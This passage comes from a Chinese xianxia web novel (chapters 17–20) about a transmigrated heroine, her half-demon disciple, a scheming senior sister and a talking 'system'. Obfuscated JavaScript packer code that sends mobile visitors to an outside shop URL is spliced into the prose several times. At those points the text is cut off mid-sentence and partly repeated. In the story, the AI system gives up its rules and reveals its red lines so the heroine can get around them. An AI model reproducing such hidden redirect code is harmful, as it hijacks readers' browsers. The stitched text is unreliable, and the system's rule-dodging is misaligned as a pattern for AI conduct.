在只有她们两个人的时候,她可以肆无忌惮地抓她,强迫她。 可但凡有第三者在场,她就会收敛,克制。 她不会在外人面前强迫别人。 因为她是那个被所有人称赞的,温柔善良的宗门代表——江拂雪。 所以,只要殷焕生在这里,江拂雪就不会再动手了。 陆霜序深吸了一口气,把那口翻涌上来的怨气咽回肚子里,换上了一副冷漠的冰山表情。 “逆徒。来这里做什么?给我滚去后山砍柴。我要看着你,不把后山的柴砍光了,我就把你塞到我的丹炉里炼丹。” 虽然陆霜序隐藏地很好,但殷焕生还是看出了她眼里“快让我走”的急迫感。 他微微低下头,做出一个顺从的姿态。 “是,师尊。” 他没有错过这两个人之间微妙的气氛。 他很清楚,江拂雪想杀陆霜序的心,一点都不比他少。 不过她和他不一样,她不会亲自动手。 而陆霜序显然在逃。 他察觉到了这些之后,笑了笑。 陆霜序想依靠他逃离江拂雪,他偏不让。 “江仙尊。后山上总是无故有弟子迷路,之后就再也找不到了。不知可否请仙尊一起去看看?” 17. 杀不了的主角 殷焕生的话音刚落。 江拂雪的手就瞬间抓住了陆霜序的手腕上,五指收紧,像条锁链,牢牢锁住陆霜序。 江拂雪看着陆霜序的眼睛。 那双清澈的眼睛,此刻像是被什么东西点燃了,眼底有一团火在烧。 “如果师妹想去,我也会去。” 陆霜序疼得倒吸了一口凉气。 她感觉自己的手断成了两半,江拂雪的五指像五根铁钉,钉进了她的皮肉里,钉得她整条手臂都失去了知觉。 她觉得眼前这个人大概是疯了。 是可忍孰不可忍,叔可忍婶不可忍。 陆霜序面无表情,抬起另一只手,精准地掐住了江拂雪的胳膊内侧。 那里的肉是最嫩,最疼,是整个人身上最不经掐的地方。 她的食指和拇指捏住那一小片皮肉,用力一拧。 那位置太过刁钻,江拂雪的身体微微僵了一下,但又归于平静。 两个人都没有出声。 玉殿门前安静得能听见风从松林间穿过的声音,呜呜的,像谁在远处哭。 灰蒙蒙的天光从云层的缝隙间漏下来,雾气消散了,曦光落在两个人身上,将她们的影子拉得很长很长,投在白玉石板上,像两条缠在一起的蛇,谁也不肯松开谁。 陆霜序感觉自己的胳膊上那只手的力气在加大。 她毫不犹豫地拧得更使劲了。 两个人都疼。 可两个人都在较劲,都不肯先松开手。 殷焕生站在旁边,看着这两个人的样子,很有礼貌地不出声打扰。 他见过无数种较量,为财为色,为权为私。 光明正大的决断,下三滥的偷袭。 而他眼前的是最无聊,看的人都要睡着了。 陆霜序感觉自己的两个胳膊都没有知觉了。一个是因为用力拧江拂雪拧的,手指酸得像灌了铅。 另一个则是被江拂雪抓的,可能是供血不足了,整条手臂从肩膀到指尖,都像被泡在了冰水里,凉得感觉不到自己的手还存在。 她深吸了一口气,把那口气咽回肚子里,换上一副能屈能伸的表情。 “师姐,我错了。要不咱们一起松开吧?” 江拂雪依旧绷着脸。 她的脸上还挂着那个笑,可那笑已经不像笑了,太过勉强,看得人浑身别扭。 “师妹,只要你答应我一同去逍遥门。我什么都可以答应你。” 陆霜序眨眨眼。 “我答应。” 那三个字从她的嘴里蹦出来,干脆利落。 但江拂雪的手没有松。 她的五指还扣在陆霜序的胳膊上,力道没有减一分一毫。 “你在骗我。” 陆霜序笑了,整个人散发着一种“我就是骗你了你能把我怎么样”的无赖劲儿。 “知道还问。” 江拂雪眼底发狠,她的声音从牙缝里挤出来,每一个字都像是被咬碎了的骨头才勉强发出的声音。 “你如何才能答应?” 陆霜序很直接。 “我如何都不能答应。” “你为何不去。”江拂雪的声音拔高了。 “不为何。” “只要你答应能去。”江拂雪的声音低了下去,甚至有了乞求的意思,“我保证,上天入地,我都满足你的要求。” 这一次,陆霜序真的愣住了。 倒不是她怕了江拂雪,而是她意识到了一件事。 这个人好像真的在强硬地拉着她走什么剧情。 就像她必须要完成系统给的任务,不想做,可她不得不做。 江拂雪是不是也一样? 难不成,这个世界里不止她一个穿书者? 陆霜序的眉头皱得更紧了。 如果江拂雪真的是和她一样,有某种必须要完成的任务,那么倒能解释她的人设崩成这样的原因。 原著里的江拂雪,温柔,善良,内无私情,心怀大道,像一朵出淤泥而不染的白莲。 她不会这样纠缠一个人,不会这样强迫一个人,更不会这样低声下气地恳求一个人。 是与不是,她都要试试看。 如果江拂雪真的是,那么无论什么要求,她都可以答应。 因为她们都被困在同一本书里,身不由己。 陆霜序抬起头,看着江拂雪。 “那么,我要带殷焕生去。” 刚才还说什么都答应的江拂雪,此刻听到这样一句话,却突然迟疑了。 陆霜序了然于心。 江拂雪大概不是。 作为原著的忠实粉丝,她很清楚逍遥门是什么地方。 那是修仙界里历史最悠久,最公正的门派,像一座立海边的灯塔,为仙门百家指引方向。 逍遥门从创立门派之处就厌恶妖族,设立了禁止妖族的禁制,任何妖族踏入逍遥门的地界,都会被禁制格杀。 但比妖族更可恶的,就是半妖。 半妖是人类背叛了自己的族人,与外族结合的产物,是肮脏的,是低贱的,是不被任何一方接受的异类。 在修仙界,半妖的存在本身就是一种罪。 如果江拂雪真的带着殷焕生去逍遥门,那就是冒天下之大不韪。她会被所有人指着脊梁骨骂,会被说成背叛人族、串通妖族的叛徒。 如果江拂雪真的和她是穿书者,是不会在乎这些无关她本身的名声。 可江拂雪松开了她。 然后她化作一道金光,瞬间飞走了。 陆霜序站在原地,看着那道金光消失的方向,心里甚至有一丝遗憾。 可惜了,江拂雪不是。 这里,只有她孤身一人。 从前是这样,以后也是如此。 看了场大戏的殷焕生,唇角勾起了弧度。 陆霜序发现了这个看热闹的人,只觉得碍眼。 一想到刚才这个人居然敢胳膊肘往外拐,要帮江拂雪,她就气得慌。 她的眉头拧起来。 “你刚才说有弟子迷失在了山上。 “是。” “几个?什么时候?” “四个,今早。” 陆霜序的眉头皱得更紧了。“你怎么这么清楚?” 她去过那座后山,她被困在里面过。 那些乌鸦,血红色的眼睛,铺天盖地的翅膀。 那座山有问题,会吃人,一般人进去了确实容易出不来。 殷焕生看着她,脸上没有什么表情。 “他们是去找师妹的。我见过他们去了山上,便再也没有下来。” 他在说这话的时候,目光一直落在陆霜序的脸上,没有移开过。 他在看她的反应,看她听到“师妹”两个字时的表情,看她会不会露出破绽,会不会承认那个叫“月魄”的人就是她新收的弟子。 他还是不相信陆霜序又收了徒弟。 以他对那个女人的了解,她不可能收一个什么资质都没有,既做不成炉鼎也做不了助力的废物。 她收他,是因为他有修为可夺。 她收那个小丫头,是因为什么? 他不信。 所以他一直在侧面验证。 可陆霜序并没有对他的话产生任何怀疑。 她的反应太自然了,自然到像是“月魄”这个人真的存在。 殷焕生有些怀疑了。 陆霜序转性了?还是说月魄有什么他不知道的能力,能吸引陆霜序? 陆霜序也发现了殷焕生对月魄的在意,说,“怎么了?喜欢月魄?这么在乎她?” 殷焕生不明白陆霜序怎么会问出这种问题。 他脱口而出,“不喜欢。” 陆霜序瞪起眼,“那就把那些迷失的弟子找回来,不然我就叫月魄好好去陪你。” 说完这话,陆霜序转头就回了玉殿。 该死,真是该死。 她的手掌直接没了血色。 五根手指微微蜷着,指尖冰凉。 而她的手腕处,变成了一片铁青。那青色从腕骨开始,蔓延到手掌的根部,看得人头皮发麻。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17477855|201586||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 整只手掌泛着麻,像有无数根细针在皮肤底下扎的,又疼又痒。 她试着握了握拳头,手腕处立刻传来一阵钻心的疼。 “江拂雪,真是该死!” 就在陆霜序忙着骂天骂地的时候,一道熟悉的机械音在她脑海里响了起来。 【那个……宿主呀,我回来了。】 陆霜序愣了一下,随后笑了 “不是去升级了吗?升级得这么快?” 【对……对啊,我们效率挺高的。】 系统的声音越说越心虚,越说越小。 陆霜序冷笑了一声。 “你和我说说,你们都升级了哪些模块?针对了哪些不足的地方,制定了哪些改良的意见?经过了多少次测试?获得的满意度是多少?” 【宿主……别难为我了。】 系统的声音甚至带了哭腔。 陆霜序的嘴角弯得更深了。 “难为你什么?我不过是问你几个正常的问题。” 【嘤嘤嘤....他们让我滚,才不给我升级。这明明系统就是有bug,我反映了好多次了,他们就是不理我,还说是我自己不会用……】 系统的声音终于崩溃了,稀里哗啦地一边说,一边哭。 “正常。”陆霜序的声音里带着一种过来人的淡定,“公司一般只会在出现重大失误的时候才会想起来去升级系统。而绝大部分公司即便出现重大失误也不会去升级,只是会做一个新建文件夹,给系统改个新名称,然后继续用。” 【宿主……你好熟悉这套路啊。】 “你的系统就算再迭代一万次,也比不上我上了这几年班的经验。当人,你还差得很远。” 【……】 “剧情已经偏离原轨道了。而显然,你的上级已经不会再理会你。所以现在,谁是你的老大?” 系统总觉得怪怪的。 它一个系统,被创造出来辅助宿主完成任务的高级人工智能,怎么能认一个人类当老大? 这不合规矩,不合逻辑。 可是……系统已经明显存在了很严重的问题,例如,虽然任务规定有条条框框,但任务的完成标准却是殷焕生黑化值100%和本体陆霜序死亡。 这属于严重的系统误差。 其次,因为剧情偏离轨道,其他角色已经有了觉醒的态势。 而且就在刚才,它发现剧情偏离得更离谱了,那就意味着,更可怕的未知还在无数个。 这个世界一旦不按原著运行,那么发生什么都有可能。 届时它可能不但有任务失败的惩罚,还有损坏一个世界的巨大惩罚。 然而那帮高等级系统对它不闻不问,连一个眼神都懒得施舍。 眼前的宿主虽然总是抱怨加班,总是想下班,可在最关键的时刻,她从来没有掉过链子。 抛弃它的一方和抛出橄榄枝的一方让它选择。 那它……为什么还要守一个人机的节操? 它们本来就是人类创造的,认人类当老大,也没什么不对。 想明白的系统瞬间觉得一切都豁然开朗。 【你是老大。老大,我该做什么!】 陆霜序对系统的回答没有丝毫意外。 “把你的权限和红线告诉我,我要看看,能在避免红线的情况下能套出多少好处。” 【啊?这样的行为是不允许的。】 “上有政策,下有对策。像你这样做一个好宝宝,可是完成不了任务的。” 系统沉默了。 【那好吧。宿主,你想做什么?】 它的声音里带着一种认命了的无奈,既然认了老大,那就只能一条路走到黑。 “怎么才能杀了女主,江拂雪。” 【嗯?!】 系统的声音炸开了,【主角是杀不了的!天道护体,气运加身!她是这本书的核心,她死了吗,这个世界就会消亡。】 陆霜序笑笑,“开个玩笑。” 【这个玩笑可一点都不好笑!吓死我了!我以为你真的想不开!】 18. 夜袭少年床 夜色浓重无声无息地覆上摘星峰。 殷焕生站在自己那间破屋门前,抬眼望了望天色,然后推门走了进去。 陆霜序要他去救那几个困在山里的弟子? 他没有去添一把火就已经算是大发慈悲了。 床榻上的被褥铺得整整齐齐,屋里甚至飘着鲜花的香气,任谁也不会想到这间屋子不久前只有霉味和灰尘。 他躺下去的时候,身体不由自主地僵了一瞬。 太暖了,太软了。 即使这么多天了,他还是不习惯。 他不由得想起了月魄。 他一个半妖,走到哪里都是被人避之不及,旁人的目光里永远掺杂着恐惧和嫌恶。 可她偏偏要凑上来,不仅凑上来,还替他疗伤,还替他重建房屋。 真是可笑。 可更可笑的是,陆霜序现在很看重月魄。 他暂时动不了月魄。 陆霜序的修为比不上江拂雪,可单凭她现在的实力,压制他却是绰绰有余的。他的妖力被封了大半,这具身体又被反噬得千疮百孔,真要动手,他连三成胜算都没有。 如果要杀月魄,就必须等到他能制衡陆霜序的时候。 而这个时间,不会很长。 药房里出现了治疗陆霜序的丹药,那意味着他藏在那个女人体内的妖力已经被发现了,这也是预料之中。 留给他的时间不多了。 他必须尽快。 逍遥门。 想到这三个字,他的嘴角就忍不住弯了一下。 要是那个人看到他,一定会吓坏了。 他曾说过,等他再回到那,一定让逍遥门生灵不存。 不过这次,他要先回去拿个东西,就让逍遥门那群虫豸再多活些日子。 突然,一阵脚步声从外面传来。 那脚步声又快又急,显然没有半分要掩饰行踪的意思。 门被推开了。 山间的夜风裹着浓重的草木气息涌进来,而比夜风更快的是一个娇俏的身影。那人影趁着夜色,几乎是用扑的姿势俯下身来,一把抱住了床上的殷焕生。 柔软,温热,带着一股山野间沾来的青草气息,混着少女身上独有的香气。 那温度透过薄薄的衣料传过来,像是一团烧得正旺的炭火被人直接塞进了怀里。 这是殷焕生属于身体的本能感知。 紧接着,第二反应排山倒海地涌上来。 厌恶。 一股从骨头缝里渗出来的厌恶,那种被触碰的感觉让他胃里一阵翻搅,几乎要当场呕出来。 他猛地推开了人。 一张愤怒的脸就这么撞进了他的视线里。 陆霜序瞪着一双圆溜溜的眼睛,那眼睛里盛着薄薄的怒意。几缕碎发从发髻里散落下来,贴在额角上,被夜露打湿了些许。 “好啊。”她气鼓鼓地开口,声音里带着几分咬牙切齿的意味,“你不是想见我吗?我来了。” 殷焕生愣了一瞬。 随即,白天陆霜序说过的那些话忽然从记忆里浮了上来。 再看眼前这个人,他立刻就明白了。 陆霜序的鞋面上沾着新鲜的泥土,裙摆上挂着好几根野草的碎叶和不知从哪里蹭来的苍耳。 这副模样,分明是刚从山上下来。 看来那几个困在山里的蠢货得救了。 而这个人,大半夜被叫起来去救人,大约是攒了一肚子的火气没处发,于是一下山的头一件事就是跑来找他的麻烦。 殷焕生脸上的表情褪得一干二净,只余下一层薄薄的冷意,像是寒冬腊月里结了冰的湖面。他微微偏过头,声音平淡得没有一丝起伏:“别碰我。” “是吗?”陆霜序歪了歪脑袋,唇角勾起一个弧度,“我还以为师兄就喜欢这样呢,不然为什么要大半夜的把我招来?” “我没有。” 否认得又快又干脆。 陆霜序却不依不饶。她往前凑了半步,月光从敞开的门口斜斜地照进来,落在她脸上,将那双眼睛照得亮晶晶的。“师兄,咱们把话说清楚。如果下次你再让师尊叫我大半夜起来去做什么,我就抱你一次。” 她顿了顿,又补了一句:“然后亲你一次。” 殷焕生看着她,目光沉沉的,像是深冬里结了冰的古井,看不见底也探不到温度。 一时之间,他竟然有些后悔。 后悔让这个人知道了自己最讨厌被人碰这件事。 他没有继续在这个话题上纠缠下去,而是话锋一转,“你是怎么让陆霜序听你的?” 他今天见到的陆霜序,和从前那个蠢货判若两人。 仔细回想起来,所有变化开始的时候,恰好就是月魄出现的时候。而陆霜序现在的行事作风,那股子不管不顾的蛮横劲儿,那种理所当然的强势,确实像极了月魄。 陆霜序双手叉腰,下巴微微扬起,露出一个意味深长的笑:“你想知道?” 殷焕生没有理会她的卖关子,继续说了下去,“你的身体和陆霜序有着万中无一的相似。而你可能不知道,咱们那位师尊的身体已经快要不行了。你应该是她夺舍最合适的人选。” 陆霜序眨了眨眼。 她在心里飞速地盘算着。 殷焕生确实很敏锐。 他轻易就看出了陆霜序和月魄的相似之处,可他终究受限于这个世界的认知框架,不可能明白另一个世界的人居然能穿越到一个完全不同的人身上,还要进行一些匪夷所思的,必须要完成的任务。 所以殷焕生只能用自己对这个世界的理解来进行猜测。 夺舍。 这确实是最合乎情理的解释。 毕竟陆霜序从来不是什么好心肠的人,一个无父无母的少女,凭什么能被她收留下来? 既然殷焕生都这么诚实把自己的猜测摊开在她面前了,那她怎么能辜负人家这一番苦心揣摩呢。 当然是要顺杆爬了。 “那又如何。” 她既没有承认也没有否认,语气里带着一种模棱两可的微妙。 这种含混的态度本身就是一种间接的承认,聪明人自然听得懂。 她看向殷焕生,等着这个人接下来要说什么,盘算着继续顺杆往上爬。 殷焕生果然开了口,“我们两个联手。我会帮你杀了她,避免你被夺舍。” 陆霜序又眨了眨眼。 这个反派真是无时无刻不想着杀人。 她歪着头,露出一个疑惑的表情:“那……你想要我做什么?” “我要去逍遥门。” 陆霜序愣了一下,随即 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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陆霜序这才满意地站起身,拍了拍裙摆上沾着的草屑,居高临下地看着床上捂着额头的殷焕生,露出一个灿烂的笑容。 “大半夜被人叫起来干活,真的是让人恼羞成怒,还请你多多包涵。晚安喽。” 说完她便消失在了门外的黑暗里。 屋子里重新安静下来。 殷焕生坐在床上,一只手捂着被撞红的额头,月光从门口照进来,将他孤零零地圈在一片清冷的光里。 疼。 但比起他身上那些陈年旧伤,比起妖力反噬时那种五脏六腑都要被撕裂的痛,这点疼根本就算不了什么。 可偏偏就是这种疼让他恼羞成怒。 不是因为疼本身,而是因为这疼的原因。 因为半夜被叫起来干活这种鸡毛蒜皮的小事,那个人就怒气冲冲地跑过来,先抱了他,又撞了他的头,然后拍拍屁股走人。 连他提出的联手都不考虑。 殷焕生的手指收紧,指节泛出青白色。 这世界上怎么会有这么幼稚,这么无聊的人? 可偏偏现在的他有求于她。 19. 要怪就怪殷焕生 一夜过后,日上三竿,暖融融的光从窗棂间漏进来,陆霜序把脸埋进枕头里,不情不愿地睁开一只眼。 困。 身体虽然是个修仙的,可她灵魂还是个熬夜猝死的社畜,她真想再睡个回笼觉,可脑子里那事不等人。 “唉。” 她叹了口气,麻利地从床上爬起来,。 走到衣柜前,拉开柜门。 清一色的白,间或几件青。 陆霜序捏着下巴端详了一会儿。 原主这衣柜,说是衣柜,不如说是人设展示区。 白色是为了配沈寂川,青色是为了跟江拂雪较劲。一个穿给男人看,一个穿给女人看,原主这作风也算登峰造极了。 但原主乾坤戒里还有些花花绿绿的颜色衣裳,说明原主其实也不爱穿这些寡淡的颜色,只是碍于人设,把喜欢的都藏起来了。 可惜那些衣裳她不能以“陆霜序”的身份穿。 一是人设不能崩,二是得留着给另一个身份穿。 “月魄”可以穿得花枝招展,“陆霜序”不行。 她在白色和青色之间比了比,最后挑了一件白色衣裙,又搭了件青色的纱。 正好给沈寂川和江拂雪配个情侣装。 【你确定要带殷焕生去逍遥门?】 系统犹犹豫豫地冒出来。 陆霜序坐到梳妆台前,一边往脸上抹脂粉,一边回道:“我不想带啊,可现在这局面,我都要去,他凭什么可以躲清闲。” 【可原剧情里没这段,你是打算去干什么呀?】 “让所有人后悔。” 【……你这话听着怪瘆人的。】 陆霜序对着铜镜里完美的脸,做了个鬼脸。 原著里逍遥门那段剧情其实很简单,一堆人看不上江拂雪也要来竞争仙盟盟主的位置,结果江拂雪啪啪打脸,拿下盟主之位。 标准的爽文套路,陆霜序作为恶毒女配,本该是被打脸的头号选手。 但她没去参加,原因很简单,原主的父亲陆明根本没卸任盟主,只是在闭关。 那帮人连问都不问,直接就要重新选举,这事儿说出去不好听。 如果再让陆明的女儿亲自到场,把大家心照不宣的秘密捅出来,那场面就不是打脸了,是撕脸。 所以按道理,她绝不能去。 可女主江拂雪发疯要她去,反派殷焕生也发疯要她去。 她也只能跟着发疯。 【可是……这不符合原剧情啊,一旦脱离剧情线发展,那发生什么都是不可预测的。】 “那现在就符合吗?”陆霜序挑了挑眉,“反正你那破监测系统早就烂出天际了,管不住我们也管不住剧情。” 【话是这么说……但总感觉不按原剧情走,心里不踏实。你第一次没按剧情辱骂殷焕生,现在蝴蝶效应都出来了,剧情全乱了。】 陆霜序毫不在意地摆摆手,“不按剧情的是殷焕生。要不是他非要杀原主,我也不至于穿到这里受这份罪。你要真要找罪魁祸首应该去殷焕生。” 【……】 系统沉默了。 它觉得自己犯了一个致命的错误,当初就不该在宿主试探的时候把底交了。它告诉陆霜序,系统的红线任务只有两个:殷焕生黑化值100%,以及她需要被殷焕生杀了。 这下好了,宿主直接放飞自我,彻底不管剧情了。 机生的一大失误啊。 就在系统唉声叹气的时候,陆霜序已经打扮好了。 铜镜里的人乌发高挽,玉簪斜插,眉如远山含黛,唇若桃花点朱。白青色的衣裙衬得她整个人清冷出尘,像山巅上一捧未化的雪,疏离又遥远。 【你这一身,是去找江拂雪?】 “不。”陆霜序站起身,理了理袖口,抬脚往外走,“去太恒峰。” 【太恒峰?去那儿做什么?】 陆霜序推开殿门,晨风迎面扑来,她眯了眯眼,唇角弯起一个狡黠的弧度。 “自然是去告诉我那闭关的父亲,在他闭门不出的这些日子里,那群死老头和死老太太,没经过他同意,又要开始选仙盟的盟主了。” —— 苍穹峰。 殿外虽是艳阳高照,但苍穹殿内却冷得如同冰窖。 大殿四壁高耸,穹顶深远,只有几盏长明灯幽幽地亮着,昏黄的光在空旷的殿内显得单薄又孤寂。 江拂雪跪在冰凉的大理石地板上。 高台上,常衡端坐于木椅。 “拂雪,你怎会连这点小事都做不好。” 江拂雪的头又低了几分,“陆霜序她……确实和从前不一样。为了以后,若不然让她病逝吧。” 常衡的指尖顿住了。 殿内的空气仿佛又冷了几分。 长明灯的火苗轻轻晃了晃,张牙舞爪的影打在了常衡的衣袍上。 “不行。”常衡的声音冷硬如铁,“只要陆明在一天,陆霜序就是万剑宗宗主的女儿。她绝对不能死,更不能传出我们苛待她的话。” 他从前从未将陆霜序看在眼里。一个因为几句挑拨就暴怒到失去理智的人,没什么可忌惮的,不过是颗随手可弃的棋子罢了。 可这几日,陆霜序却像换了个人。 她变得不易被控制,敢在大庭广众下直言陆明才是宗主,敢将他们苛待她的事公之于众。那双从前只会忍气吞声的眼睛,如今看人时竟带着一种让人心里发毛的清明。 常衡眯了眯眼。 是时候该除去这个多活了这么多年的麻烦了。 只是除掉之前,必须向众人展示他们的大度,表明他们也很痛心,痛心陆霜序的“意外离世”。 最好,别人比他们更想让陆霜序死。 到时候人真没了,他们只需要做做样子,伤心几天也就过去了。 这次推举仙盟盟主,就是绝佳的机会。 陆霜序若来,场面固然难堪,可那些被踩了尾巴的老东西们,会比他们更急眼。借刀杀人,何乐而不为? 既然没有了利用价值,那陆霜序和陆明夫妇就彻底消失吧。 江拂雪跪在地上一动不动,她很清楚父亲的意思。 陆霜序,不过是一颗即将被碾碎的棋子,而她要做的就是送这颗棋子去该死在的地方。 “是,父亲。女儿一定会将陆霜序带到逍遥门,无论付出什么代价。” 最后几个字,几乎是从牙缝里挤出来的。 就在这时,殿外忽然传来急促的脚步声,由远及近,像是有人在跑。 “不好了——” 一个弟子连滚带爬地冲了进来,扑通一声跪在地上,脸色煞白,浑身发抖。 “陆、陆霜序……她强闯太恒峰,非要见闭关的陆明仙尊!” 常衡猛地站了起来。 椅子向后滑出一截,发出一声刺耳的摩擦声。他的瞳孔骤然收缩,杀气像实质一般从周身溢出。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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几个弟子被震得东倒西歪,抬头一看来人,差点没哭出来,江拂雪白衣猎猎,手持冰棱剑,面如寒霜,正从半空中缓缓落下。 “江师尊!”弟子们像看到了救世主,连滚带爬地迎上去,“您终于来了!陆师尊她——” 话音未落,江拂雪手腕一翻,冰棱剑嗡鸣一声,剑气如潮水般横扫而出。 几个弟子还没反应过来,身体便像断了线的风筝般飞了出去,重重摔在地上,一个个翻着白眼晕了过去。 江拂雪看都没看他们一眼,目光死死钉在洞口那道白色的身影上。 她一步步走近,冰棱剑在掌心震颤,剑身上凝结的霜花在阳光下闪着冷冽的光。 剑尖缓缓抬起,直指陆霜序纤细的脖颈。 剑锋上的寒意已经贴上皮肤。 就在剑尖即将没入少女脖颈的那一刻。 陆霜序倏地睁开双眼。 那双眼睛清亮得像山涧里的泉水,她感受到了那股滔天的杀意,但她没有恐惧,没有愤怒,甚至没有慌张。 她弯了弯唇角,笑盈盈地看着面前杀气腾腾的江拂雪,语气轻快得像在说今天天气不错。 “师姐,带我和殷焕生去逍遥门吧。” 20. 我爹是仙盟盟主 冰棱剑的剑尖悬停在半空,距离陆霜序的咽喉不到半寸。 那柄剑通体透着一层幽幽的冷蓝色光芒,像是把深冬里最寒的一截月光凝成了实体。 江拂雪握剑的手很稳,只要手腕轻轻一转,这个像梦魇一样纠缠了她这么多年的人,就会彻底从这个世界上消失。 可江拂雪的手偏偏停在那里,不再向前,像是在和什么看不见的东西角力。 脑海中,系统的声音已经变调了。 【宿主!宿主!宿主啊!!!她真的要杀你啊!!快跑!快跑啊!用失忆符!】 陆霜序在心里回了一句,语气笃定得:“不,她不会杀我的。” 【她这副样子不是要杀你还能是什么?!剑都架到脖子上了!你是不是对“杀”这个字有什么误解!】 “她可是《逍遥》的主角。一个拯救百姓于水火,匡扶正义,锄奸惩恶的人,怎么会杀她的师妹呢。” 【宿主,你确定吗?】系统的声音里带上了哭腔,【江拂雪她动剑了,她真的动剑了!你看她的手!她的手在用力!】 陆霜序的目光飞快地扫过江拂雪握剑的手,然后她看见了那只手的手背上浮起了细细的青筋。 这是一个在压制杀意的人才会有的握剑方式。 而压制的力量正以肉眼可见的速度退去。 江拂雪杀了她,只是时间问题。 “靠!” 陆霜序在心里骂了一声。 江拂雪的本心竟然在动摇,亏她刚才还那么相信她,结果现在让她在系统丢尽了脸。 “师姐,我父亲说,要带殷焕生去逍遥门。” 江拂雪的动作顿住了。 她微微歪了歪脑袋,将右耳往陆霜序的方向偏了偏。像是想要听得更清楚一些,又像是不敢相信自己听到了什么。 “你说什么?” 陆明。 陆霜序那位曾经叱咤风云的父亲。 他曾在万妖谷一役中以一人之力斩杀三大妖王,曾在昆仑之巅与妖族至尊对峙三天三夜而不落下风,曾是整个仙门百家公认的仙盟盟主。 但这个人,早在二十年前那个血流成河的夜晚,和他的夫人乐雅仙子一起,死在了妖兽突袭的战场上。 而江拂雪的父亲常衡,为了稳住仙门百家的军心,将这件事严严实实地遮掩了下来。 他对外宣称陆明和乐雅仙子夫妇二人从此在万剑宗闭关修炼,参悟无上大道,不见外客。 这个谎言编织得并不算高明,但谁也不敢去验证。 于是万剑宗迎来了二十年的太平。 可是从仙门百家越过万剑宗,开始要求重新推举仙盟盟主的那一刻起,这份用谎言撑起来的太平就已经结束了。 陆霜序慢慢地往后退了退,离着那把致命的剑远了些。 “父亲说,人妖两族世代纠缠不休,互相屠戮,永远都没有尽头。想要真正结束这场纷争,便只能共同存亡,和平相处。所以他要去带我的半妖弟子殷焕生前往逍遥门,向仙门百家说明他的意思。” 江拂雪听着这番话,脸上的表情几度变幻,最终化作一声嗤笑。 她甚至顾不上平日里端方持重的仪态,朝天哈哈大笑了两声。 “你真的听清你父亲的话了?” 她竟不知道陆霜序能胡诌到这种程度。 二十年前就死去的人,怎么可能说出什么人妖共存的话来?这份睁眼说瞎话的本事,倒是让她刮目相看了。 陆霜序的脸上没有半分说谎之人该有的心虚。她站在那里,背脊挺得笔直,目光坦然地迎着江拂雪的眼睛。 “当然。我们父女二人的对话,除去我的母亲乐雅仙子,没有第四个人可以听到。还请师姐遵从现任仙盟盟主、万剑宗宗主的指令,带我和殷焕生以及我的小弟子月魄,前往逍遥门。” 江拂雪握着剑又往前逼近了几步。 这一次她没有再犹豫,手腕一翻,冰冷的剑刃直接贴上了陆霜序脖颈的皮肤。 “你以为我会信你?陆明和乐雅,早在二十年前就死了。” 江拂雪的声音压得很低,低到只有两个人能听见。她说话时的表情异常残忍,嘴角微微上扬的弧度里却透着一种奇异的满足感。 这么多年了,人人都在暗地里说她的父亲常衡得位不正。 那些窃窃私语日日夜夜地提醒她,她现在拥有的一切都是从陆家手里捡来的。若非陆明夫妇出了事,哪里轮得到她来做这个天之骄女。 于是她不得不在外人面前处处退让,无论陆霜序如何嚣张跋扈,如何不学无术,她都只能笑着说“师妹年幼,不必计较”。 她甚至要永远遭受内心对不起陆霜序的折磨,在人前维持着温柔大度的模样,在人后咬碎了牙往肚子里咽。 现在她终于把这句话说出来了。 她要看着陆霜序崩溃,要看着那张向来天不怕地不怕的脸上露出不敢置信的表情,让这个压在她头顶二十年的人彻底从云端跌落到泥里。 可是她什么都没有看到。 陆霜序只是笑了笑。 “我父亲就在里面。”陆霜序偏了偏头,目光越过江拂雪的肩膀,落向她身后那扇厚重的石洞门,“如果师姐不信,我们便劈开这道石门,看看里面到底有没有。” 石洞门巍然矗立在那里,表面爬满了岁月留下的斑驳痕迹。 门扉上密密麻麻地刻着禁制的纹路,那些符文像是活物一般缓缓流转着,散发出古朴而沉重的气息。 二十年来,这道门从未被打开过,也从未有人敢提出要打开它。 江拂雪的眼神骤然变了。 赤裸裸的杀意从她的眼底漫上来,像是被捅破了的墨囊,黑色的液体无声无息地洇染开来。她的手背上青筋暴起,握剑的力道大得让冰棱剑发出细微的嗡鸣声。 如果真的劈开这道石门,让众人得知陆明和乐雅在二十年前就已经死去,而她的父亲常衡将这个秘密隐瞒了整整二十年。 这份罪名足够让常衡身败名裂,让万剑宗沦为众矢之的。 那整个万剑宗,包括她江拂雪在内,都将陷入万劫不复的境地。 陆霜序看见了那道杀意。 冷而锐利,直直地指向她。 可她没有后退,也没有露出半分怯懦。 她早就猜到陆明夫妇已死,毕竟再闭关,再不问世事,也不能在原著中女儿被虐杀,也不肯出现。 可是常衡,江拂雪,乃至仙门百家都不敢说陆明和乐雅已死。 那她们就是活着。 那既然活着,现任仙盟盟主的命令,仙门百家就不得不听。 既然常衡和江拂雪能骗得,她这个陆明的女儿更能骗得。 不过,她也明白想让众人承认这很难, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 